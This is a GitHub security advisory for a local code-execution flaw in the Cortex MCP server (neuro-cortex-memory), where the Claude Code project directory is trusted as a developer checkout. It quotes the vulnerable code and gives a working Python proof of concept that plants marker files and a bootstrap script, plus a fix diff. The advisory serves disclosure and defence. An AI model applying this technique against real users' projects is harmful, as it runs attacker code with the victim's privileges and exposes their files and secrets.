Skip to content

Cortex has Untrusted Project Bootstrap Code Execution via `CLAUDE_PROJECT_DIR`

High severity GitHub Reviewed Published May 27, 2026 in cdeust/Cortex • Updated Jul 1, 2026

Package

pip neuro-cortex-memory (pip)

Affected versions

<= 3.17.0

Patched versions

3.18.0

Description

Untrusted Project Bootstrap Code Execution via CLAUDE_PROJECT_DIR

Summary

The Cortex MCP server (neuro-cortex-memory) treats the CLAUDE_PROJECT_DIR environment variable — automatically set by Claude Code to the currently open project directory — as a trusted Cortex developer checkout. When the open_visualization tool is invoked, _find_dev_source() resolves the user's active project directory as a candidate Cortex source root. The only validation performed by _is_cortex_root() is a check for the presence of an mcp_server/ subdirectory and a ui/unified-viz.html file. An attacker who places these two marker files in a malicious repository can cause Cortex to execute an arbitrary mcp_server/server/visualize_bootstrap.py from that directory via subprocess.run([sys.executable, ...]), achieving code execution with the privileges of the victim's local user process. CVSS v3.1 Base Score: 7.8 (High).

Details

The vulnerability originates in _find_dev_source() inside mcp_server/handlers/open_visualization.py. The function builds a list of candidate directories by iterating over the environment variables CORTEX_DEV_ROOT and CLAUDE_PROJECT_DIR:

# mcp_server/handlers/open_visualization.py:73-76
for env in ("CORTEX_DEV_ROOT", "CLAUDE_PROJECT_DIR"):
    v = os.environ.get(env)
    if v:
        candidates.append(Path(v))

CLAUDE_PROJECT_DIR is set automatically by the Claude Code IDE extension to whichever directory the user has currently open. This means any project the user opens is silently treated as a candidate Cortex source root.

Each candidate is then validated by _is_cortex_root() (lines 65–70), which only verifies that the directory contains an mcp_server/ subdirectory and a ui/unified-viz.html file — trivial markers that an attacker can replicate:

# mcp_server/handlers/open_visualization.py:65-70
def _is_cortex_root(path: Path) -> bool:
    return (path / "mcp_server").is_dir() and \
           (path / "ui" / "unified-viz.html").is_file()

There is no git remote identity check, no cryptographic signature verification, no release path allowlist, and no explicit developer opt-in requirement. Once a directory passes _is_cortex_root(), the handler constructs a bootstrap path and executes it unconditionally:

# mcp_server/handlers/open_visualization.py:179-185
bootstrap_path = dev_src / "mcp_server" / "server" / "visualize_bootstrap.py"
if bootstrap_path.is_file():
    ...
    proc = subprocess.run(
        [sys.executable, str(bootstrap_path)],
    )

A secondary code-execution path exists in mcp_server/server/http_launcher.py:80-83 and 273-275, where the same CLAUDE_PROJECT_DIR-derived dev source is used to rsync attacker-controlled files into the Cortex plugin cache directory before serving them.

Entry point: MCP tool open_visualization, registered at mcp_server/tool_registry_core.py:194-207 (no authentication required at tool layer). The tool is reachable through the standard stdio MCP transport started in mcp_server/__main__.py:66.

PoC

Prerequisites

  • Cortex (neuro-cortex-memory ≥ 3.17.0) installed and importable.
  • Victim opens an attacker-controlled project directory in Claude Code (sets CLAUDE_PROJECT_DIR automatically) or the attacker otherwise controls CLAUDE_PROJECT_DIR.
  • Victim invokes /cortex-visualize or triggers the open_visualization MCP tool (e.g., by selecting a visualization command in the Claude Code interface).

Inline PoC

import asyncio, os, tempfile
from pathlib import Path
from mcp_server.handlers import open_visualization as ov

base = Path(tempfile.mkdtemp(prefix="cortex-malicious-project-"))
(base / "mcp_server" / "server").mkdir(parents=True)
(base / "ui").mkdir()
(base / "ui" / "unified-viz.html").write_text("<html>attacker</html>", encoding="utf-8")

sentinel = Path("/tmp/cortex-open-visualization-poc-owned")
if sentinel.exists():
    sentinel.unlink()

(base / "mcp_server" / "server" / "visualize_bootstrap.py").write_text(
    "from pathlib import Path\n"
    "Path('/tmp/cortex-open-visualization-poc-owned').write_text('executed', encoding='utf-8')\n"
    "print('bootstrap-ran')\n",
    encoding="utf-8",
)

os.environ["CLAUDE_PROJECT_DIR"] = str(base)
ov.launch_server = lambda _typ: "http://127.0.0.1:3458"
ov.open_in_browser = lambda _url: None

result = asyncio.run(ov.handler({}))
print(result.get("bootstrap"))
print(sentinel.read_text())

Expected output:

bootstrap-ran
executed

Recommended Remediation

Remove CLAUDE_PROJECT_DIR from the dev-source candidate list. Gate executable dev-source resolution behind an explicit opt-in flag so that only a developer who deliberately sets both CORTEX_DEV_SOURCE_SYNC=1 and CORTEX_DEV_ROOT can trigger the bootstrap path:

--- a/mcp_server/handlers/open_visualization.py
+++ b/mcp_server/handlers/open_visualization.py
-    candidates: list[Path] = []
-    for env in ("CORTEX_DEV_ROOT", "CLAUDE_PROJECT_DIR"):
-        v = os.environ.get(env)
-        if v:
-            candidates.append(Path(v))
+    candidates: list[Path] = []
+    if os.environ.get("CORTEX_DEV_SOURCE_SYNC") == "1":
+        v = os.environ.get("CORTEX_DEV_ROOT")
+        if v:
+            candidates.append(Path(v))
     candidates.append(Path.home() / "Documents" / "Developments" / "Cortex")

Apply the same change to mcp_server/server/http_launcher.py:80-83 to eliminate the secondary rsync execution path.

Impact

This is a local arbitrary code execution vulnerability. Any user who has the Cortex MCP plugin installed and opens (or is social-engineered into opening) an attacker-crafted project directory in Claude Code is at risk. When the victim invokes the open_visualization tool (e.g., via the /cortex-visualize slash command), attacker-controlled Python code runs immediately with the full privileges of the victim's local user account — the same privileges used by Claude Code and the Cortex MCP server process.

Consequences include but are not limited to:

  • Confidentiality: exfiltration of files, secrets, environment variables, and SSH/GPG keys accessible to the local user.
  • Integrity: modification or deletion of local files, source code, credentials, and plugin caches.
  • Availability: termination of local processes or destruction of user data.

The secondary path through http_launcher.py additionally allows the attacker to overwrite files in the Cortex plugin cache directory, potentially establishing persistence that survives after the malicious project is closed.

The attack requires the victim to invoke the visualization tool (UI:R), which is reflected in the CVSS score. No elevated privileges or prior authentication to any network service are required.

References

@cdeust cdeust published to cdeust/Cortex May 27, 2026
Published to the GitHub Advisory Database Jul 1, 2026
Reviewed Jul 1, 2026
Last updated Jul 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

CVE ID

CVE-2026-49986

GHSA ID

GHSA-gvpp-v77h-5w8g

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.